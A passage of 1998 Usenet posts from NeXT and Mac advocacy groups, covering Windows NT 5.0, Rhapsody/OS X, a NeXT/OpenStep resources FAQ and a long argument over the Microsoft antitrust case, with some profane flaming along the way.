Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Sun, 14 Jun 1998 01:14:05 GMT
Organization: Traffic Systems Development
Message-ID: <358623ac.2601630@news.uq.edu.au>
References: <6lk75t$afl@newsb.netnews.att.com> <jpolaski-1006981103120001@d149-212.ce.mediaone.net> <6lmdl3$k2i$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On 10 Jun 1998 16:52:51 GMT, jrudd@cygnus.com (John Rudd) wrote in
comp.sys.mac.advocacy:
>> In article <6lk75t$afl@newsb.netnews.att.com>,
>> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>>
>> > Finally, Rob Enderle says something, that makes sense, IMO.
>> > -arun gupta
>> >
>> > http://www.infoworld.com/cgi-bin/displayStory.pl?98068.wcntskip.htm
>> >
>> > Analysts at GigaWorld say skip NT 5.0
>> >
>> > Quote :
>> > With 30 million lines of code, 85 percent of which is new,
>> > Windows NT 5.0 is likely to be buggy, said Rob Enderle,
>> > director of desktop and mobile technology at Giga....
>> >
>> > "It's too complex and too new," Enderle said.
>> > "Even inside Microsoft, there's a realization that the product
>> > won't ramp to volume till NT 6.0 because of the fear of initial
>> > releases."
>> >
>> > Enderle advised waiting until service pack 3, or NT 5.5, which
>> > could be out a year or so after NT 5.0
>> >
>> > End quote.
>>
>
>So, isn't this basically what MS advocates have been saying all along?
>"Well, ok, THIS version of NT wont be the one to ramp up to volume, but by
>the NEXT version NT will be a Unix killer!"
I don't think NT will ever be a Unix killer. I think they will end up
coexisting happily. NT has already sold more volume than Unix so what
exactly is your definition of killing anyhow?
John Wiltshire
------------------------------------------------------
John Wiltshire | (w) +61 7 38342783
jw@qits dot net dot au | (m) +61 417 797897
------------------------------------------------------
Fear: when you see B8 00 4C CD 21 and you know what it means.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: 13 Jun 1998 19:09:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A87EB0-E684@206.165.43.172>
References: <slrn6o5ltt.tji.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>On Sat, 13 Jun 1998 07:05:51 -0400, Joe Ragosta <joe.ragosta@dol.net>
>wrote:
>:
>:Why can't it be set up so that you can do everything a beginning/average
>:Mac user needs without ever touching the command line, but still having
>:Terminal.app accessible in the Apple menu? It seems to me that this would
>:elegantly meet the needs of both groups.
>
>It does. Steve Jobs and NeXT came to this realization twelve years ago.
>
>They've been waiting for the market to reward them ever since.
You may be correct. However, substitute any other failed technology for
what "Steve Jobs and NeXT came to this realization" about and you'll
realize that it doesn't sound too promising.
Rhapsody/MacOS X is a HUGE gamble.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Don Romero" <d9090@indy.net>
Newsgroups: comp.sys.amiga.advocacy,de.comp.sys.amiga.advocacy,alt.amiga.demos,alt.sys.amiga.demos,comp.sys.amiga.misc,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.adv
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: Sat, 13 Jun 1998 22:04:46 -0500
Organization: IndyNet - Indys Internet Gateway (info@indy.net)
Message-ID: <6lvepg$2gt$1@news.indy.net>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu>
Jill Howe wrote in message ...
>Date: Wed, 3 Jun 1998 05:02:35 +0000 (GMT)
>From: ar-news@envirolink.org>Subject: Vivisectors Probed By US FTC: Intel Scrutinized
[snip]
>Interested in which technology companies are naughty or nice?
No.
>Contact CPEA via pfish@fang.cs.sunyit.edu
.. but if there is a sister organization that protects all plant life from
hungry animals and insects, sign me up. Let's just all die and stop
pestering the poor widdle bacteria and viruses. They're human, too!!!
F*ck the dolphins! What about us tuna?!
-- Charlie the Great
Down with mammalism!
Down with vertibratism!
Down with multi-cellism!
Life is exploitation. Do all lifeforms a favor and Die Now!
Be conscientious: Take someone else out with you!
And don't forget to crosspost.
Idiot.
d.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 14 Jun 1998 03:51:55 GMT
Organization: Digital Fix Development
Message-ID: <6lvhcr$aj9$1@news.digifix.com>
References: <jdoherty-1306980136470001@aus-tx22-02.ix.netcom.com> <B1A80BA0-4760F@206.165.43.23>
In-Reply-To: <B1A80BA0-4760F@206.165.43.23>
On 06/13/98, "Lawson English" wrote:
>John Doherty <jdoherty@ix.netcom.com> said:
>
>>In article <B1A6C85C-573CB@206.165.43.8>, "Lawson English"
>><english@primenet.com> wrote:
>>
>>| The GX pen plotter driver supports the concept of approximating
>>transparent
>>| color.
>>
>>And how many people who get paid to use plotters give a shit about
that?
>
>
>
>Those that try to print images that contain transparent overlapping
shapes?
Well, there's your problem Lawson.
You don't PRINT to a plotter. If its a vector plotter,
something that works with pens, then its not going to be possible to
generated the transparency on that device, GX or not.
If you're talking about what is essentially a LARGE FORMAT
printer (with an InkJet head), then you can raster it ahead of time
and print anyways..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <3379897192022@digifix.com>
Date: 14 Jun 1998 03:49:15 GMT
Organization: Digital Fix Development
Message-ID: <28217897796825@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6lve53$q04$5898@news0-alterdial.uu.net>
Control: cancel <6lve53$q04$5898@news0-alterdial.uu.net>
Date: 14 Jun 1998 02:56:45 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6lve53$q04$5898@news0-alterdial.uu.net>
Sender: <kevin@vc1.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: 14 Jun 1998 00:31:21 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lvjmp$mql$1@crib.corepower.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <cdoutyEuGqL7.EvE@netcom.com>
In article <cdoutyEuGqL7.EvE@netcom.com>, cdouty@netcom.com (Chris Douty) wrote:
> From unofficial comments on the OS X plans heard at the last BANG meeting,
> it seemed likely that OS X would not have a shell. Period.
That seems to run counter to the things I've heard about full Unix being
available for those who want it.
> Forget Terminal.app for a moment. How the hell do you start a unix-based
> service without a shell? In fact, how do you boot the computer?
So why do you think that OS X is going to lack a shell, since it will
be BSD-based? It's hard to get around needing this stuff. (Though they
could go further along the route and get rid of rc files and such like
they've done with the password file.)
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 14 Jun 1998 00:38:20 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lvk3s$mrc$1@crib.corepower.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <35805B1A.E622C899@nospam.com> <6lphe5$ikl$1@crib.corepower.com> <358141C4.D3EF535C@milestonerdl.com>
In article <358141C4.D3EF535C@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Nathan Urban wrote:
> > In article <35805B1A.E622C899@nospam.com>, Tim Triemstra <nospam@nospam.com> wrote:
> > > As anybody seen ANYTHING quoted from somewhere in Apple stating that
> > > they are still excited about Yellow Box or that it will be good for
> > > developers?
> > "Meanwhile, Apple will further exploit Rhapsody's `collection of
> > exceptional technologies,' [Apple director of OS technologies, worldwide
> > product marketing] Bereskin said.
> And Steve Jobs said 'advanced development environment' (Keynote speech)
> Neither of these quotes say 'YellowBox' and gives Apple room to 'wiggle away'.
Grow up. Your chicken-little conspiracy theories are growing more
absurd by the day.
And learn how to quote in context:
"`The Yellow Box remains a very powerful way to build software. The
Yellow Box will become part of our larger Java strategy, because we have
such great synergy with the Yellow Box frameworks and Java,' Bereskin
said, adding that Apple will continue to develop its Yellow Box for
Windows environment.
Guess what it was Bereskin was talking about? Yellow Box. You know how
I could tell? I'm literate. Are you?
I'd also like to know what you think an "advanced development
environment" based on Rhapsody technologies would be other than Yellow
Box. (Clue: if your anwer is "Carbon", you will be laughed off this
newsgroup.)
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 04:21:17 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e138b6.262092222@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
"Michael J. Peck" <mjpeck@nstar.net>, on Thu, 11 Jun 1998 12:01:29
>T. Max Devlin wrote:
[...]
>> Your narrow view of the needs of and benefits to the consumer in the
>> Microsoft case is limiting your ability to understand the case. The
>> case is about anti-competitive business practices; browser games is just
>> an example.
>
>Earlier Mr. Pyeatt asked me who, rhetorically, who could speak for the
>buying public. I ask of you the same question: on what grounds do you
>claim to know the "needs of and benefits to the consumer in the
>Microsoft case"?
To take your question literally, though I doubt it was meant that way, I
base my knowledge of the needs of the consumer on fifteen years of
teaching people to use personal computers. As for your greater question
"who could speak for the buying public", there is only one answer that I
can think of: a crowded competitive market with low barriers to entry.
I believe only a competitive market can serve the consumer's needs when
it comes to such a mutable product as software, unless we want to be
honest and treat it like a commodity, so it doesn't matter who made it.
I believe the purpose of this case is to ensure the PC market provides
competitive access to everyone, and not about how the browser integrates
with the OS. Although the DoJ is using the browser example to indite
Microsoft, the case is about anti-competitive business practices, not
browser games.
>It seems to me that your entire argument, and that of many like you, is
>based on some sort of superior knowledge: superior prediction, superior
>understanding, superior knowledge of "monopoly tactics", superior
>acknowledgement of public needs.
You insist, as has Roger, that my arguments rest entirely on my
insistence that they are correct. Let me clear up this misconception.
When I teach I use a framework to explain to people how to know what
"truth" is, in an environment which is infinitely mutable. Software can
do anything, so how do you know what software can do? In a complex
system, practically any failure could cause any fault indication, so how
do you know if you understand the system? The word "network" means
different things to different people, so how do you know if you are
using it correctly? This is what I teach them, and hopefully it might
give you an idea why I feel confident that, unless you can directly
refute my knowledge, understanding, or predictions, my own grasp of the
issue is superior to yours:
In order to be considered "correct", you conceptual understanding must
meet these three criteria.
1) It must be *accurate*, which is to say that your predictions must
match reality.
2) It must be *consistent*, meaning that it may not contradict any other
concepts.
3) It must be *practical*, which means that all rhetoric is wasted when
it comes to technology. If your explanation matches reality, does not
contradict any other concepts, and gets the job done, it is correct.
Now, I know damn well that over on the other side of Usenet, when
someone reads this stuff, it might as well be the ramblings of a flake.
But I assure you, this is not an off-the-cuff framework that I describe,
and it has proved extremely valuable in identifying important technical
issues, without having to examine every single possible technical
detail. {Since modern systems have an essentially unlimited number of
technical details, avoiding impractical levels of detail is a
requirement, not a luxury.)
So my point is that I have a lot of practice dealing with just the kind
of issues involved here, and I'm really sorry if that means I believe my
knowledge, experience, predictions, and explanations of these issues are
superior to other's. I'm not going to apologize for being right, after
all.
>Hubris. The entire history of such political gimmickery has been based
>on this claim, the claim that here is an exception to the rule, one
>which we clearly and unfailingly recognize for the cloaked, but deadly
>enemy that it is. Behold, IBM will rule the industry unless we stop it.
>We've seen this before, folks, don't hold us back. We're on a mission.
The entire history of everything is full to overflowing with people on a
mission. Some were right, some were wrong, all believed that their
cause was correct. Hubris is a common failing when it gets in the way
of learning. Otherwise, it is simply common; everybody thinks they're
right, and I'm not going to apologize for believing likewise. I have an
edge, though. I am quite convinced that everyone _is_ right, if you
understand their thinking. Usually, once I'm able to figure out _why_
somebody thinks something that is inaccurate, inconsistent, or
impractical, it is a trivial task to convince them that they are wrong,
as long as you try real hard not to hurt their feelings when you do it.
Everybody is defensive, of course, because we all have pride, hubris.
But the fact is that everyone has something they don't know, so there's
no reason to get bent out of shape when someone points something out.
I feel nothing but gratitude for people who tell me things I didn't know
before; especially if it has an impact on my overall opinion.
Some people, of course, insist on having their feelings hurt no matter
how carefully you point out their error. When I am teaching, I usually
just move on to the next thing, and try to get them to help me learn
what is important to them, and how I can again try to teach them, as we
proceed. But on Usenet, these people are trolls, and feel no guilt in
disrupting civil discussions to salve their hurt feelings in finding out
that something about their thinking is not accurate, consistent, or
practical. So I usually flame the shit out of them. Not the wisest
approach, necessarily, I realize, but at least it distracts them from
disrupting other people's conversation, insisting that all opinions must
be lengthily substantiated on demand, and all attempts to do so are
ignored because it is not "proof".
All of this, I realize, makes me sound no less arrogant. But hopefully,
it at least explains some of my hubris. :-)
>I'm not being sarcastic with you, Mr. Devlin, it's a serious matter
>you're discussing, and before you claim to have that superior knowledge,
>you're going to have to demonstrate it. Being in defense of tradition, I
>have no need to make such demonstrations. The burden is on *you* to
>prove your case, not on *me* to defend orthodoxy.
I have no idea why you mean by "being in defense of tradition, I have no
need to make such demonstrations." This doesn't seem like a
supportable position. I have been trying, through elucidation of my
reasoning and descriptions of my experience, to satisfy your need for
demonstrations of my ability to derive correct answers on the issues we
address. These answers are accurate, consistent, and practical. None
of this, however, relieves you of the necessity to refute, if you can,
your position. Simply relying on the fact that it is orthodox to ensure
it is correct is not appropriate for serious matters.
>> Why do you think this case hinges on dependance _or_ suffering of
>> computer OEMs?
>
>Ah. Out of context, that comparison makes no sense. No wonder I didn't
>recognize that you'd simply plucked two words separated loosely by the
>contractional 'or' and stuck them into your own contrast.
I'm sorry, I wasn't _comparing_ the two. I was asking what explanation
you could provide for your contention that "The crux of the case is that
Microsoft, in tying Internet Explorer to the Windows operating system,
has leveraged *vendor dependence* on Windows,"
[357C76BF.721F47E9@nstar.net] and why you believe that harm to computer
OEMs is necessary. I didn't mean to relate the two directly. I would
still like to know, if you would explain.
>> >So what was it when Netscape had an 85% market share?
>> >
>> >[cough] double standard [cough]
>>
>> A single app market, not a monopoly OS market linked to an app market.
>> Oh, and the originator of a new industry; there's always somebody who
>> comes out on top at first. If they stay on top, they have to tread
>> lightly; trying to leverage their monopoly into other markets is
>> illegal. If they don't stay on top, competition soon emerges and they
>> divvy up the market between whoever wants to play. Sometimes the leader
>> has a real big lead, sometimes they don't. But when you get near 40-70%
>> of the market going to one competitor, you have to start being wary of
>> anti-competitive business practices.
>
>So, your point would be that Netscape was a monopoly? Or are you saying
>that Microsoft has a browser monopoly because it has near 40% of the
>market, even though Netscape's share is even larger?[...]
I have never denied that Netscape had a monopoly market position. My
point was that this fact is irrelevant. I have also never stated that
Microsoft has a browser monopoly. Where are you getting this stuff?
> Wait, maybe you're
>saying that Netscape using its browser to sell Web servers wasn't
>monopolistic. Or you're perhaps saying that Netscape's deals with AOL
>and other online services (Yahoo, PointCast, etc.) were special because
>Netscape is the Good Guy and Microsoft is the Bad Guy.
I'm saying that none of these issues concerns me, and have no bearing on
the Microsoft case. But I do thank you for so accurately (I assume)
pointing out that Netscape has consistently taken such actions despite
their existing market dominance, and we might want to find a practical
way to discourage such predatory leveraging of a successful software
product.
BTW, IIRC, Netscape took pains to ensure (and reassure everyone
involved) that they would not try to lock customers into a matched pair
of browser/server apps. By "pains" I mean "things that actually
somewhat compromised Netscape's competitive edge", as opposed to "huge
amounts of marketing", which I suspect would be the Microsoft
equivalent. They used their own enhanced tags, and if the industry
wasn't watching them, they may have been even more aggressive, yes, but
overall they still supported interoperability on a practical level.
Also, I don't believe any of Netscape's deals with service providers
were exclusive. I feel no reservation in admitting that, in comparison
to Microsoft, yes, Netscape is "the Good Guy". They even GPLed Mozilla.
If you want to get my respect, and you develop software, GPL some code.
>You've dredged up a few more double standards, good. Can you raise any
>more?
If I'm not mistaken, you are the one who gave these examples. Why are
you saying that _I_ dredged up double standards?
>> >"Man cannot invent principle, he can only discover them." -- Thomas
>> >Paine
>> >
>> >If you think that justice is served on the basis of legislation, I
>> >invite you to review the Jim Crow laws.
>> >
>> >Draw your own conclusions.
>>
>> Based on your logic, my conclusion is that all laws are wrong, because
>> Jim Crow laws are wrong.
>
>What?! No, that doesn't follow from the logic! How do you even get that?
>
>Watch:
>
>1) Principles are immutable and just (Paine quote)
Excuse me?
>2) Some laws are unjust (Jim Crow laws example)
I would say that, in the USA, laws are neither just nor unjust; it is
the execution of these laws which is the justice or the injustice. The
laws themselves are merely legislation. I will agree that laws can be
good or bad, if you'd like.
>3) Some laws are mutable (Jim Crow laws example)
All laws are mutable.
>4) Some laws are not principled (1, 2, 3)
How does whether some laws are not principled have anything to do with
whether justice is served on the basis of legislation?
You _said_ "if you think justice is served on the basis of legislation"
(which I assumed to mean "if you think all laws are just", though that
was a bit generous on my part, in retrospect), "review Jim Crow laws".
It certainly appeared that you were saying "since Jim Crow laws are
unjust, all laws are unjust", since all laws are based on legislation.
In retrospect, I believe you meant "bad laws can be derived from
majority consent", which I entirely agree with. Where we disagree,
obviously, is that you think anti-trust laws are wrong, and I see no
reason to believe, and much evidence in terms of an accurate,
consistent, and practical understanding of how business works to refute,
that anti-trust laws are wrong.
Now, _I_ already knew this at the beginning of the discussion. I'm not
sure, but I suspect, that you did. Are we getting anywhere here?
Instead of posting quotes from historical figures, and deriving your own
unique understanding, AFAIK, of how they relate to the issues at hand,
could you possibly try to refute my arguments, instead of dragging me
into these long, self-absorbed, rambling, silly defensive rants? I
would invite you to try stating a basic explanation of why anti-trust
laws are bad, and we will examine the explanation fairly and civilly to
judge its accuracy, consistency, and practicality. I will also post an
explanation, as soon as I see yours, of why anti-trust laws are good,
and then we can play games with my concepts, too. Deal?
>*SOME* laws are not principled.
>
>> Oh, and that Thomas Paine said something about
>> principle, and I think possibly you intended it to mean that any law you
>> agree with is a "natural law" merely enscribed by man, while any law you
>> disagree with is man trying to invent principles.
>
>I would be foolish if I spoke on the basis of my own authority.
>Fortunately, I am no fool in this; I rely on the wisdom of forbears who
>knew better than you or I that Higher Law dictates principle. If your
>problem is with Mr. Paine or Thomas Jefferson or Alexis de Tocqueville
>or Sir Edmund Burke or Paul of Tarsus, take your argument to them. I am
>but the student.
You are simply the interpreter. I disagree entirely with your depiction
of the meaning of the Paine quote. You therefore speak on the basis of
only your own authority. But that's OK, that's the way it always is.
Why would our forbears, with the approximate knowledge base of a third
grader, know better than you or I about anything? I have no complaint
with their wisdom, I like the quote immensely, I just don't agree it
substantiates your argument. Who told you that you could avoid speaking
on your own authority. Especially on Usenet?
>> >Huh? I'm either pregnant, or I'm not pregnant, Mr. Devlin. I'm not
>> >"pregnant in the long term" or "pregnant in the short term", now, am I?
>>
>> You are either going to have a baby, or you are not going to have a
>> baby. But you might have a baby in the long term, and you might have a
>> baby in the short term.
>
>You'd first have to give the conditions inherent to your chronological
>judgment, conditions that were not present in the original thesis
>("hurting Microsoft hurts the industry").
I wasn't the one who added the qualifier (I'm just defending his right
to add it against the trolls), but I believe the original quote was "I
believe it won't hurt the industry in the long term". Then you started
quibbling about how dare he predict the long term, and this mess with
babies coming to term is the result. But hey, that's a good three
paragraphs I forced you to deal with instead of picking on some other
poor sucker's wording....
>> Any morning sickness yet?
>
>Well, there you have it. If the question had had anything to do with
>*when* I were to give birth, your contributions to the question would
>have been germane. However, the question was over whether or not I were
>pregnant, and there can be no chronological inferences made from such.
>Sorry, the "long term/short term" issue is irrelevant and argumentative.
You seem to have succeeded in obfuscating the issue, but I'm just too
